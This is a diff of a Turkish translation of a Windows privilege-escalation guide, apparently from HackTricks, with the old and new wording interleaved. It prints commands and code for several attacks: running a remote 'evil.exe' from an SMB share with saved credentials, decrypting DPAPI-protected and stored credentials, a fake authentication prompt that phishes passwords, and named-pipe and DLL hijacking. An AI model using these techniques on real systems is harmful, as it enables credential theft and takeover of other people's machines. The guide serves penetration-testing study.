Windows Kasa, **Windows**'un kullanıcıları **otomatik olarak oturum açtırabileceği** sunucular, web siteleri ve diğer programlar için kullanıcı kimlik bilgilerini saklar. İlk bakışta, bu kullanıcıların Facebook kimlik bilgilerini, Twitter kimlik bilgilerini, Gmail kimlik bilgilerini vb. saklayabileceği gibi görünebilir, böylece tarayıcılar aracılığıyla otomatik olarak oturum açabilirler. Ama durum böyle değil.
|
||||
|
||||
Windows Kasa, Windows'un kullanıcıları otomatik olarak giriş yapabileceği kimlik bilgilerini saklar, bu da demektir ki, herhangi bir **Windows uygulaması, bir kaynağa erişmek için kimlik bilgilerine ihtiyaç duyuyorsa** bu Kimlik Bilgileri Yöneticisi ve Windows Kasa'dan yararlanabilir ve kullanıcıların her seferinde kullanıcı adı ve şifre girmesi yerine sağlanan kimlik bilgilerini kullanabilir.
|
||||
Windows Kasa, Windows'un kullanıcıları otomatik olarak oturum açtırabileceği kimlik bilgilerini saklar, bu da demektir ki, herhangi bir **kaynağa erişmek için kimlik bilgilerine ihtiyaç duyan Windows uygulaması** (sunucu veya web sitesi) **bu Kimlik Bilgileri Yöneticisi** ve Windows Kasa'dan yararlanabilir ve kullanıcıların her zaman kullanıcı adı ve şifre girmesi yerine sağlanan kimlik bilgilerini kullanabilir.
|
||||
|
||||
Uygulamalar Kimlik Bilgileri Yöneticisi ile etkileşime geçmediği sürece, belirli bir kaynak için kimlik bilgilerini kullanmalarının mümkün olduğunu düşünmüyorum. Bu nedenle, uygulamanız kasayı kullanmak istiyorsa, bir şekilde **kimlik bilgileri yöneticisi ile iletişim kurmalı ve varsayılan depolama kasasından o kaynak için kimlik bilgilerini talep etmelidir**.
|
||||
Uygulamalar Kimlik Bilgileri Yöneticisi ile etkileşime geçmediği sürece, belirli bir kaynak için kimlik bilgilerini kullanmalarının mümkün olduğunu düşünmüyorum. Bu nedenle, uygulamanız kasayı kullanmak istiyorsa, bir şekilde **kimlik bilgileri yöneticisi ile iletişim kurmalı ve varsayılan depolama kasasından o kaynak için kimlik bilgilerini talep etmelidir.**
|
||||
|
||||
Makinedeki saklanan kimlik bilgilerini listelemek için `cmdkey` kullanın.
|
||||
```bash
|
||||
@ -713,7 +713,7 @@ Target: Domain:interactive=WORKGROUP\Administrator
|
||||
Type: Domain Password
|
||||
User: WORKGROUP\Administrator
|
||||
```
|
||||
Ardından, kaydedilmiş kimlik bilgilerini kullanmak için `runas` komutunu `/savecred` seçenekleriyle kullanabilirsiniz. Aşağıdaki örnek, bir SMB paylaşımı aracılığıyla uzaktan bir ikili dosya çağırmaktadır.
|
||||
Sonra, kaydedilmiş kimlik bilgilerini kullanmak için `runas` komutunu `/savecred` seçenekleriyle kullanabilirsiniz. Aşağıdaki örnek, bir SMB paylaşımı aracılığıyla uzaktan bir ikili dosya çağırmaktadır.
|
||||
```bash
|
||||
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
|
||||
```
|
||||
@ -725,16 +725,16 @@ Not edin ki mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/util
|
||||
|
||||
### DPAPI
|
||||
|
||||
**Data Protection API (DPAPI)**, verilerin simetrik şifrelenmesi için bir yöntem sağlar ve esasen Windows işletim sistemi içinde asimetrik özel anahtarların simetrik şifrelenmesi için kullanılır. Bu şifreleme, önemli ölçüde entropiye katkıda bulunmak için bir kullanıcı veya sistem sırrını kullanır.
|
||||
**Data Protection API (DPAPI)**, verilerin simetrik şifrelemesi için bir yöntem sağlar ve esasen Windows işletim sistemi içinde asimetrik özel anahtarların simetrik şifrelemesi için kullanılır. Bu şifreleme, entropiye önemli ölçüde katkıda bulunmak için bir kullanıcı veya sistem sırrını kullanır.
|
||||
|
||||
**DPAPI, kullanıcı giriş sırlarından türetilen simetrik bir anahtar aracılığıyla anahtarların şifrelenmesini sağlar**. Sistem şifrelemesi içeren senaryolarda, sistemin alan kimlik doğrulama sırlarını kullanır.
|
||||
|
||||
DPAPI kullanılarak şifrelenmiş kullanıcı RSA anahtarları, `%APPDATA%\Microsoft\Protect\{SID}` dizininde saklanır; burada `{SID}`, kullanıcının [Güvenlik Tanımlayıcısı](https://en.wikipedia.org/wiki/Security_Identifier)'nı temsil eder. **DPAPI anahtarı, kullanıcının özel anahtarlarını koruyan anahtar ile aynı dosyada yer alır** ve genellikle 64 bayt rastgele veriden oluşur. (Bu dizine erişimin kısıtlandığını ve içeriğinin CMD'de `dir` komutu ile listelenemediğini, ancak PowerShell aracılığıyla listelenebileceğini not etmek önemlidir).
|
||||
DPAPI kullanarak şifrelenmiş kullanıcı RSA anahtarları, `%APPDATA%\Microsoft\Protect\{SID}` dizininde saklanır; burada `{SID}`, kullanıcının [Güvenlik Tanımlayıcısı](https://en.wikipedia.org/wiki/Security_Identifier)'nı temsil eder. **DPAPI anahtarı, kullanıcının özel anahtarlarını koruyan anahtar ile aynı dosyada yer alır** ve genellikle 64 bayt rastgele veriden oluşur. (Bu dizine erişimin kısıtlandığını ve içeriğinin CMD'de `dir` komutu ile listelenemediğini, ancak PowerShell aracılığıyla listelenebileceğini not etmek önemlidir).
|
||||
```powershell
|
||||
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
|
||||
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
|
||||
```
|
||||
**mimikatz modülünü** `dpapi::masterkey` uygun argümanlarla (`/pvk` veya `/rpc`) kullanarak bunu şifre çözmek için kullanabilirsiniz.
|
||||
**mimikatz modülünü** `dpapi::masterkey` uygun argümanlarla (`/pvk` veya `/rpc`) kullanarak şifreyi çözebilirsiniz.
|
||||
|
||||
**ana şifre ile korunan kimlik bilgisi dosyaları** genellikle şurada bulunur:
|
||||
```powershell
|
||||
@ -752,9 +752,9 @@ dpapi-extracting-passwords.md
|
||||
|
||||
### PowerShell Kimlik Bilgileri
|
||||
|
||||
**PowerShell kimlik bilgileri**, şifrelenmiş kimlik bilgilerini rahat bir şekilde depolamak için genellikle **betik** ve otomasyon görevlerinde kullanılır. Kimlik bilgileri **DPAPI** kullanılarak korunur, bu da genellikle yalnızca oluşturuldukları bilgisayarda aynı kullanıcı tarafından şifrelerinin çözülebileceği anlamına gelir.
|
||||
**PowerShell kimlik bilgileri**, şifrelenmiş kimlik bilgilerini rahat bir şekilde depolamak için genellikle **betik yazma** ve otomasyon görevlerinde kullanılır. Kimlik bilgileri **DPAPI** kullanılarak korunur, bu da genellikle yalnızca oluşturuldukları bilgisayarda aynı kullanıcı tarafından şifresinin çözülebileceği anlamına gelir.
|
||||
|
||||
Bir dosyadan PS kimlik bilgilerini **şifre çözmek** için şunları yapabilirsiniz:
|
||||
Bir PS kimlik bilgisini içeren dosyadan **şifre çözmek** için şunları yapabilirsiniz:
|
||||
```powershell
|
||||
PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
|
||||
PS C:\> $credential.GetNetworkCredential().username
|
||||
@ -793,7 +793,7 @@ Mimikatz `sekurlsa::dpapi` modülü ile bellekten **birçok DPAPI masterkey** ç
|
||||
|
||||
### Sticky Notes
|
||||
|
||||
İnsanlar genellikle Windows iş istasyonlarında şifreleri ve diğer bilgileri **kaydetmek** için StickyNotes uygulamasını kullanır, bunun bir veritabanı dosyası olduğunu fark etmezler. Bu dosya `C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` konumunda bulunur ve her zaman aramaya ve incelemeye değerdir.
|
||||
İnsanlar genellikle Windows iş istasyonlarında **şifreleri** ve diğer bilgileri kaydetmek için StickyNotes uygulamasını kullanır, bunun bir veritabanı dosyası olduğunu fark etmeden. Bu dosya `C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` konumunda bulunur ve her zaman aramaya ve incelemeye değerdir.
|
||||
|
||||
### AppCmd.exe
|
||||
|
||||
@ -801,7 +801,7 @@ Mimikatz `sekurlsa::dpapi` modülü ile bellekten **birçok DPAPI masterkey** ç
|
||||
**AppCmd.exe** `%systemroot%\system32\inetsrv\` dizininde bulunur.\
|
||||
Bu dosya mevcutsa, bazı **kimlik bilgileri** yapılandırılmış olabilir ve **kurtarılabilir**.
|
||||
|
||||
Bu kod [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1) projesinden çıkarılmıştır:
|
||||
Bu kod [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1) projesinden alınmıştır:
|
||||
```bash
|
||||
function Get-ApplicationHost {
|
||||
$OrigError = $ErrorActionPreference
|
||||
@ -881,7 +881,7 @@ $ErrorActionPreference = $OrigError
|
||||
```
|
||||
### SCClient / SCCM
|
||||
|
||||
`C:\Windows\CCM\SCClient.exe` dosyasının var olup olmadığını kontrol edin.\
|
||||
`C:\Windows\CCM\SCClient.exe` dosyasının varlığını kontrol edin.\
|
||||
Yükleyiciler **SYSTEM ayrıcalıklarıyla çalıştırılır**, birçoğu **DLL Sideloading'e karşı savunmasızdır (Bilgi için** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).**
|
||||
```bash
|
||||
$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
|
||||
@ -904,7 +904,7 @@ SSH özel anahtarları kayıt defteri anahtarı `HKCU\Software\OpenSSH\Agent\Key
|
||||
```bash
|
||||
reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
|
||||
```
|
||||
Bu yolda herhangi bir giriş bulursanız, muhtemelen kaydedilmiş bir SSH anahtarıdır. Şifreli olarak saklanır ancak [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract) kullanılarak kolayca şifresi çözülebilir.\
|
||||
Eğer o yolda herhangi bir giriş bulursanız, muhtemelen kaydedilmiş bir SSH anahtarıdır. Şifreli olarak saklanır ancak [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract) kullanılarak kolayca şifresi çözülebilir.\
|
||||
Bu teknik hakkında daha fazla bilgi burada: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
|
||||
|
||||
Eğer `ssh-agent` servisi çalışmıyorsa ve başlangıçta otomatik olarak başlamasını istiyorsanız, şunu çalıştırın:
|
||||
@ -976,9 +976,9 @@ AppData\Roaming\gcloud\access_tokens.db
|
||||
|
||||
### Cached GPP Pasword
|
||||
|
||||
Daha önce, Grup Politika Tercihleri (GPP) aracılığıyla bir grup makinede özel yerel yönetici hesaplarının dağıtımına olanak tanıyan bir özellik mevcuttu. Ancak, bu yöntemin önemli güvenlik açıkları vardı. Öncelikle, SYSVOL'da XML dosyası olarak saklanan Grup Politika Nesneleri (GPO'lar), herhangi bir etki alanı kullanıcısı tarafından erişilebilir durumdaydı. İkincisi, bu GPP'lerdeki şifreler, kamuya belgelenmiş varsayılan bir anahtar kullanılarak AES256 ile şifrelenmişti ve herhangi bir kimlik doğrulaması yapılmış kullanıcı tarafından çözülebiliyordu. Bu, kullanıcıların yükseltilmiş ayrıcalıklar elde etmesine olanak tanıdığı için ciddi bir risk oluşturuyordu.
|
||||
Daha önce, Grup Politika Tercihleri (GPP) aracılığıyla bir grup makinede özel yerel yönetici hesaplarının dağıtımına olanak tanıyan bir özellik mevcuttu. Ancak, bu yöntemin önemli güvenlik açıkları vardı. Öncelikle, SYSVOL'da XML dosyası olarak saklanan Grup Politika Nesneleri (GPO'lar), herhangi bir etki alanı kullanıcısı tarafından erişilebilir durumdaydı. İkincisi, bu GPP'lerdeki şifreler, kamuya belgelenmiş varsayılan bir anahtar kullanılarak AES256 ile şifrelenmişti ve herhangi bir kimlik doğrulaması yapılmış kullanıcı tarafından çözülebiliyordu. Bu, kullanıcıların yükseltilmiş ayrıcalıklar elde etmesine olanak tanıyabileceği için ciddi bir risk oluşturuyordu.
|
||||
|
||||
Bu riski azaltmak için, boş olmayan bir "cpassword" alanı içeren yerel önbelleğe alınmış GPP dosyalarını taramak için bir işlev geliştirildi. Böyle bir dosya bulunduğunda, işlev şifreyi çözer ve özel bir PowerShell nesnesi döndürür. Bu nesne, GPP hakkında ayrıntılar ve dosyanın konumu gibi bilgileri içerir ve bu güvenlik açığının tanımlanmasına ve giderilmesine yardımcı olur.
|
||||
Bu riski azaltmak için, boş olmayan bir "cpassword" alanı içeren yerel önbelleklenmiş GPP dosyalarını tarayan bir işlev geliştirildi. Böyle bir dosya bulunduğunda, işlev şifreyi çözer ve özel bir PowerShell nesnesi döndürür. Bu nesne, GPP hakkında ayrıntılar ve dosyanın konumu gibi bilgileri içerir ve bu güvenlik açığının tanımlanmasına ve giderilmesine yardımcı olur.
|
||||
|
||||
Bu dosyaları bulmak için `C:\ProgramData\Microsoft\Group Policy\history` veya _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (W Vista'dan önce)_ dizininde arayın:
|
||||
|
||||
@ -1052,7 +1052,7 @@ Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAct
|
||||
```
|
||||
### Kimlik bilgilerini isteyin
|
||||
|
||||
Her zaman **kullanıcıdan kendi kimlik bilgilerini veya farklı bir kullanıcının kimlik bilgilerini girmesini isteyebilirsiniz** eğer onları bilebileceğini düşünüyorsanız (dikkat edin ki **müşteriden** doğrudan **kimlik bilgilerini istemek** gerçekten **riskli**dir):
|
||||
Her zaman **kullanıcıdan kendi kimlik bilgilerini veya farklı bir kullanıcının kimlik bilgilerini girmesini isteyebilirsiniz** eğer onların bu bilgileri bilmesini düşünüyorsanız (dikkat edin ki **müşteriden** doğrudan **kimlik bilgilerini istemek** gerçekten **riskli**dir):
|
||||
```bash
|
||||
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
|
||||
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
|
||||
@ -1174,9 +1174,9 @@ Bu kayıt defterinin CLSID'leri içinde, bir **DLL**'ye işaret eden bir **varsa
|
||||
|
||||
.png>)
|
||||
|
||||
Temelde, yürütülecek olan herhangi bir **DLL'yi üzerine yazabilirseniz**, o DLL farklı bir kullanıcı tarafından yürütülecekse **yetkileri artırabilirsiniz**.
|
||||
Temelde, yürütülecek olan herhangi bir **DLL'yi üzerine yazabilirseniz**, o DLL farklı bir kullanıcı tarafından yürütülecekse **yetkileri yükseltebilirsiniz**.
|
||||
|
||||
Saldırganların COM Hijacking'i nasıl bir kalıcılık mekanizması olarak kullandığını öğrenmek için kontrol edin:
|
||||
Saldırganların COM Hijacking'i kalıcılık mekanizması olarak nasıl kullandığını öğrenmek için kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
com-hijacking.md
|
||||
@ -1209,7 +1209,7 @@ REG QUERY HKCU /F "password" /t REG_SZ /S /d
|
||||
[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) bu sayfada belirtilen parolaları içeren tüm dosyaları otomatik olarak arar.\
|
||||
[**Lazagne**](https://github.com/AlessandroZ/LaZagne) bir sistemden parola çıkarmak için başka bir harika araçtır.
|
||||
|
||||
[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) aracı **oturumlar**, **kullanıcı adları** ve **parolaları** düz metin olarak kaydeden çeşitli araçların (PuTTY, WinSCP, FileZilla, SuperPuTTY ve RDP) verilerini arar.
|
||||
[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) aracı **oturumlar**, **kullanıcı adları** ve **parolaları** açık metin olarak kaydeden çeşitli araçların (PuTTY, WinSCP, FileZilla, SuperPuTTY ve RDP) verilerini arar.
|
||||
```bash
|
||||
Import-Module path\to\SessionGopher.ps1;
|
||||
Invoke-SessionGopher -Thorough
|
||||
@ -1218,20 +1218,20 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
|
||||
```
|
||||
## Sızdırılan İşlemciler
|
||||
|
||||
Hayal edin ki **SYSTEM olarak çalışan bir işlem** **tam erişimle** yeni bir işlem açıyor (`OpenProcess()`). Aynı işlem **düşük ayrıcalıklarla yeni bir işlem de oluşturuyor** (`CreateProcess()`) **ancak ana işlemin tüm açık işlemcilerini miras alıyor**.\
|
||||
O zaman, eğer **düşük ayrıcalıklı işleme tam erişiminiz varsa**, `OpenProcess()` ile oluşturulan **ayrıca ayrıcalıklı işleme açık işlemciyi** alabilir ve **shellcode enjekte edebilirsiniz**.\
|
||||
Hayal edin ki **SYSTEM olarak çalışan bir işlem** **tam erişimle** yeni bir işlem açıyor (`OpenProcess()`). Aynı işlem **düşük ayrıcalıklarla yeni bir işlem de oluşturuyor** (`CreateProcess()`) ancak ana işlemin tüm açık işlemcilerini miras alıyor.\
|
||||
Eğer **düşük ayrıcalıklı işleme tam erişiminiz varsa**, `OpenProcess()` ile oluşturulan **ayrıca ayrıcalıklı işleme açık işlemciyi** alabilir ve **shellcode enjekte edebilirsiniz**.\
|
||||
[Bu örneği okuyarak **bu güvenlik açığını nasıl tespit edip istismar edeceğiniz hakkında daha fazla bilgi edinebilirsiniz**.](leaked-handle-exploitation.md)\
|
||||
[**Farklı izin seviyeleriyle (sadece tam erişim değil) miras alınan işlemlerin ve iş parçacıklarının daha fazla açık işlemcilerini test etme ve istismar etme hakkında daha kapsamlı bir açıklama için bu diğer gönderiyi okuyun**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/).
|
||||
[Bu **diğer yazıyı okuyarak, farklı izin seviyeleriyle (sadece tam erişim değil) miras alınan işlemlerin ve iş parçacıklarının daha fazla açık işlemcilerini nasıl test edip istismar edeceğinize dair daha kapsamlı bir açıklama bulabilirsiniz**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/).
|
||||
|
||||
## İsimli Boru Müşteri Taklidi
|
||||
## İsimli Boru İstemcisi Taklidi
|
||||
|
||||
Paylaşılan bellek segmentleri, **borular** olarak adlandırılır ve işlem iletişimi ve veri transferini sağlar.
|
||||
Paylaşılan bellek segmentleri, **borular** olarak adlandırılır ve işlem iletişimi ve veri transferine olanak tanır.
|
||||
|
||||
Windows, **İsimli Borular** adı verilen bir özellik sunar; bu, ilgisiz işlemlerin verileri paylaşmasına olanak tanır, hatta farklı ağlar üzerinden bile. Bu, **isimli boru sunucusu** ve **isimli boru istemcisi** olarak tanımlanan rollerle bir istemci/sunucu mimarisine benzer.
|
||||
Windows, **İsimli Borular** adı verilen bir özellik sunar; bu, ilgisiz işlemlerin verileri paylaşmasına olanak tanır, hatta farklı ağlar üzerinden bile. Bu, **istemci/sunucu mimarisi** gibi görünür ve roller **isimli boru sunucusu** ve **isimli boru istemcisi** olarak tanımlanır.
|
||||
|
||||
Bir **istemci** tarafından bir boru aracılığıyla veri gönderildiğinde, boruyu kuran **sunucu**, gerekli **SeImpersonate** haklarına sahip olması durumunda **istemcinin kimliğini üstlenme** yeteneğine sahiptir. Bir boru aracılığıyla iletişim kuran bir **ayrıca ayrıcalıklı işlemi** tanımlamak, o işlem boruyla etkileşime girdiğinde kimliğini benimseyerek **daha yüksek ayrıcalıklar kazanma** fırsatı sunar. Böyle bir saldırıyı gerçekleştirmek için talimatlar [**burada**](named-pipe-client-impersonation.md) ve [**burada**](./#from-high-integrity-to-system) bulunabilir.
|
||||
|
||||
Ayrıca, aşağıdaki araç, **burp gibi bir araçla isimli boru iletişimini kesmeyi sağlar:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **ve bu araç, ayrıcalık kazanımları bulmak için tüm boruları listeleyip görmeyi sağlar** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
|
||||
Ayrıca, aşağıdaki araç, **burp gibi bir araçla isimli boru iletişimini kesmeyi sağlar:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **ve bu araç, ayrıcalık kazanımları bulmak için tüm boruları listeleyip görmenizi sağlar** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
|
||||
|
||||
## Çeşitli
|
||||
|
||||
@ -1253,7 +1253,7 @@ Compare-Object -ReferenceObject $process -DifferenceObject $process2
|
||||
|
||||
Grafik arayüzüne (konsol veya RDP aracılığıyla) erişiminiz varsa ve UAC etkinse, bazı Microsoft Windows sürümlerinde yetkisiz bir kullanıcıdan "NT\AUTHORITY SYSTEM" gibi bir terminal veya başka bir süreç çalıştırmak mümkündür.
|
||||
|
||||
Bu, aynı anda yetki yükseltme ve UAC'yi atlatma olanağı sağlar ve aynı zafiyetle gerçekleştirilir. Ayrıca, herhangi bir şey yüklemeye gerek yoktur ve süreç sırasında kullanılan ikili dosya, Microsoft tarafından imzalanmış ve verilmiştir.
|
||||
Bu, aynı anda yetki yükseltme ve UAC'yi atlatma olanağı sağlar. Ayrıca, herhangi bir şey yüklemeye gerek yoktur ve süreç sırasında kullanılan ikili dosya, Microsoft tarafından imzalanmış ve verilmiştir.
|
||||
|
||||
Etkilenen sistemlerden bazıları şunlardır:
|
||||
```
|
||||
@ -1317,7 +1317,7 @@ Sonra **UAC ve UAC atlatmaları hakkında bilgi edinmek için bunu okuyun:**
|
||||
|
||||
### **Yeni hizmet**
|
||||
|
||||
Eğer zaten Yüksek Bütünlük sürecinde çalışıyorsanız, **SYSTEM'e geçiş** sadece **yeni bir hizmet oluşturup çalıştırmak** ile kolay olabilir:
|
||||
Eğer zaten Yüksek Bütünlük sürecinde çalışıyorsanız, **SİSTEM'e geçiş** sadece **yeni bir hizmet oluşturup çalıştırmak** ile kolay olabilir:
|
||||
```
|
||||
sc create newservicename binPath= "C:\windows\system32\notepad.exe"
|
||||
sc start newservicename
|
||||
@ -1339,18 +1339,20 @@ Bu tekniği kullanmak genellikle **tüm token ayrıcalıklarına sahip SYSTEM ol
|
||||
|
||||
### **Named Pipes**
|
||||
|
||||
Bu teknik, meterpreter tarafından `getsystem`'da yükselmek için kullanılır. Teknik, **bir boru oluşturmayı ve ardından o boruya yazmak için bir hizmet oluşturmayı/istismar etmeyi** içerir. Daha sonra, **boruyu** `SeImpersonate` ayrıcalığı ile oluşturan **sunucu**, boru istemcisinin (hizmetin) **token'ını taklit edebilecektir** ve SYSTEM ayrıcalıklarını elde edecektir.\
|
||||
Eğer [**isim boruları hakkında daha fazla bilgi edinmek istiyorsanız bunu okumalısınız**](./#named-pipe-client-impersonation).\
|
||||
Eğer [**yüksek bütünlükten Sistem'e isim boruları kullanarak nasıl geçileceğine dair bir örnek okumak istiyorsanız bunu okumalısınız**](from-high-integrity-to-system-with-name-pipes.md).
|
||||
Bu teknik, meterpreter tarafından `getsystem`'da yükselmek için kullanılır. Teknik, **bir boru oluşturmayı ve ardından o boruya yazmak için bir hizmet oluşturmayı/istismar etmeyi** içerir. Daha sonra, **boruyu** oluşturan **sunucu**, **`SeImpersonate`** ayrıcalığı kullanarak boru istemcisinin (hizmetin) **token'ını taklit edebilecektir** ve SYSTEM ayrıcalıklarını elde edecektir.\
|
||||
Eğer [**isimli borular hakkında daha fazla bilgi edinmek istiyorsanız bunu okumalısınız**](./#named-pipe-client-impersonation).\
|
||||
Eğer [**isimli borular kullanarak yüksek bütünlükten Sisteme nasıl geçileceğine dair bir örnek okumak istiyorsanız bunu okumalısınız**](from-high-integrity-to-system-with-name-pipes.md).
|
||||
|
||||
### Dll Hijacking
|
||||
|
||||
Eğer **SYSTEM** olarak çalışan bir **süreç** tarafından **yüklenen bir dll'yi** **istila etmeyi** başarırsanız, bu izinlerle rastgele kod çalıştırabileceksiniz. Bu nedenle Dll Hijacking, bu tür ayrıcalık yükseltmeleri için de faydalıdır ve ayrıca, **yüksek bütünlük sürecinden çok daha kolay elde edilebilir** çünkü dll'lerin yüklendiği klasörlerde **yazma izinlerine** sahip olacaktır.\
|
||||
Eğer **SYSTEM** olarak çalışan bir **süreç** tarafından **yüklenen bir dll'yi** **istila etmeyi** başarırsanız, bu izinlerle rastgele kod çalıştırabileceksiniz. Bu nedenle Dll Hijacking, bu tür ayrıcalık yükseltmeleri için de faydalıdır ve ayrıca, **yüksek bütünlük sürecinden çok daha kolay elde edilir** çünkü dll'lerin yüklendiği klasörlerde **yazma izinlerine** sahip olacaktır.\
|
||||
**Dll hijacking hakkında daha fazla bilgi edinebilirsiniz** [**buradan**](dll-hijacking/)**.**
|
||||
|
||||
### **Yönetici veya Ağ Servisinden Sisteme**
|
||||
|
||||
{% embed url="https://github.com/sailay1996/RpcSsImpersonator" %}
|
||||
{{#ref}}
|
||||
https://github.com/sailay1996/RpcSsImpersonator
|
||||
{{#endref}}
|
||||
|
||||
### LOKAL HİZMET veya AĞ HİZMETİ'nden tam ayrıcalıklara
|
||||
|
||||
@ -1372,16 +1374,16 @@ Eğer **SYSTEM** olarak çalışan bir **süreç** tarafından **yüklenen bir d
|
||||
[**privesc** ](https://github.com/enjoiz/Privesc)**-- Yanlış yapılandırmaları kontrol et**\
|
||||
[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- PuTTY, WinSCP, SuperPuTTY, FileZilla ve RDP kaydedilmiş oturum bilgilerini çıkarır. Yerel olarak -Thorough kullanın.**\
|
||||
[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Kimlik bilgilerini Credential Manager'dan çıkarır. Tespit edildi.**\
|
||||
[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Toplanan şifreleri alan adı üzerinde püskürt**\
|
||||
[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh, bir PowerShell ADIDNS/LLMNR/mDNS/NBNS sahteleyici ve adam ortada aracı.**\
|
||||
[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Toplanan parolaları alan adı üzerinde püskürt**\
|
||||
[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh, bir PowerShell ADIDNS/LLMNR/mDNS/NBNS sahteleyici ve adam-arasında bir araçtır.**\
|
||||
[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Temel privesc Windows envanteri**\
|
||||
[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Bilinen privesc zafiyetlerini arayın (Watson için DEPREKATE)\
|
||||
[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Bilinen privesc zafiyetlerini arayın (WATSON için DEPREKATE)\
|
||||
[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Yerel kontroller **(Yönetici hakları gerekir)**
|
||||
|
||||
**Exe**
|
||||
|
||||
[**Watson**](https://github.com/rasta-mouse/Watson) -- Bilinen privesc zafiyetlerini arayın (VisualStudio kullanılarak derlenmesi gerekir) ([**önceden derlenmiş**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\
|
||||
[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Yanlış yapılandırmaları aramak için host'u tarar (privesc'den daha çok bilgi toplama aracı) (derlenmesi gerekir) **(**[**önceden derlenmiş**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
|
||||
[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Yanlış yapılandırmaları aramak için host'u tarar (daha çok bilgi toplama aracıdır) (derlenmesi gerekir) **(**[**önceden derlenmiş**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
|
||||
[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Birçok yazılımdan kimlik bilgilerini çıkarır (github'da önceden derlenmiş exe)**\
|
||||
[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- PowerUp'ın C# portu**\
|
||||
[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Yanlış yapılandırmaları kontrol et (github'da önceden derlenmiş çalıştırılabilir). Tavsiye edilmez. Win10'da iyi çalışmıyor.\
|
||||
@ -1400,7 +1402,7 @@ Eğer **SYSTEM** olarak çalışan bir **süreç** tarafından **yüklenen bir d
|
||||
|
||||
_multi/recon/local_exploit_suggestor_
|
||||
|
||||
Projeyi doğru .NET sürümü ile derlemeniz gerekiyor ([bunu](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/) görün). Kurban makinedeki yüklü .NET sürümünü görmek için şunu yapabilirsiniz:
|
||||
Projeyi doğru .NET sürümü kullanarak derlemelisiniz ([bunu](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/) görün). Kurban makinedeki yüklü .NET sürümünü görmek için şunu yapabilirsiniz:
|
||||
```
|
||||
C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line
|
||||
```
|
||||
|
@ -2,8 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!WARNING]
|
||||
> **JuicyPotato,** Windows Server 2019 ve Windows 10 build 1809 ve sonrasında **çalışmaz.** Ancak, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) ile **aynı ayrıcalıkları kullanarak `NT AUTHORITY\SYSTEM`** düzeyinde erişim elde edebilirsiniz. _**Kontrol Et:**_
|
||||
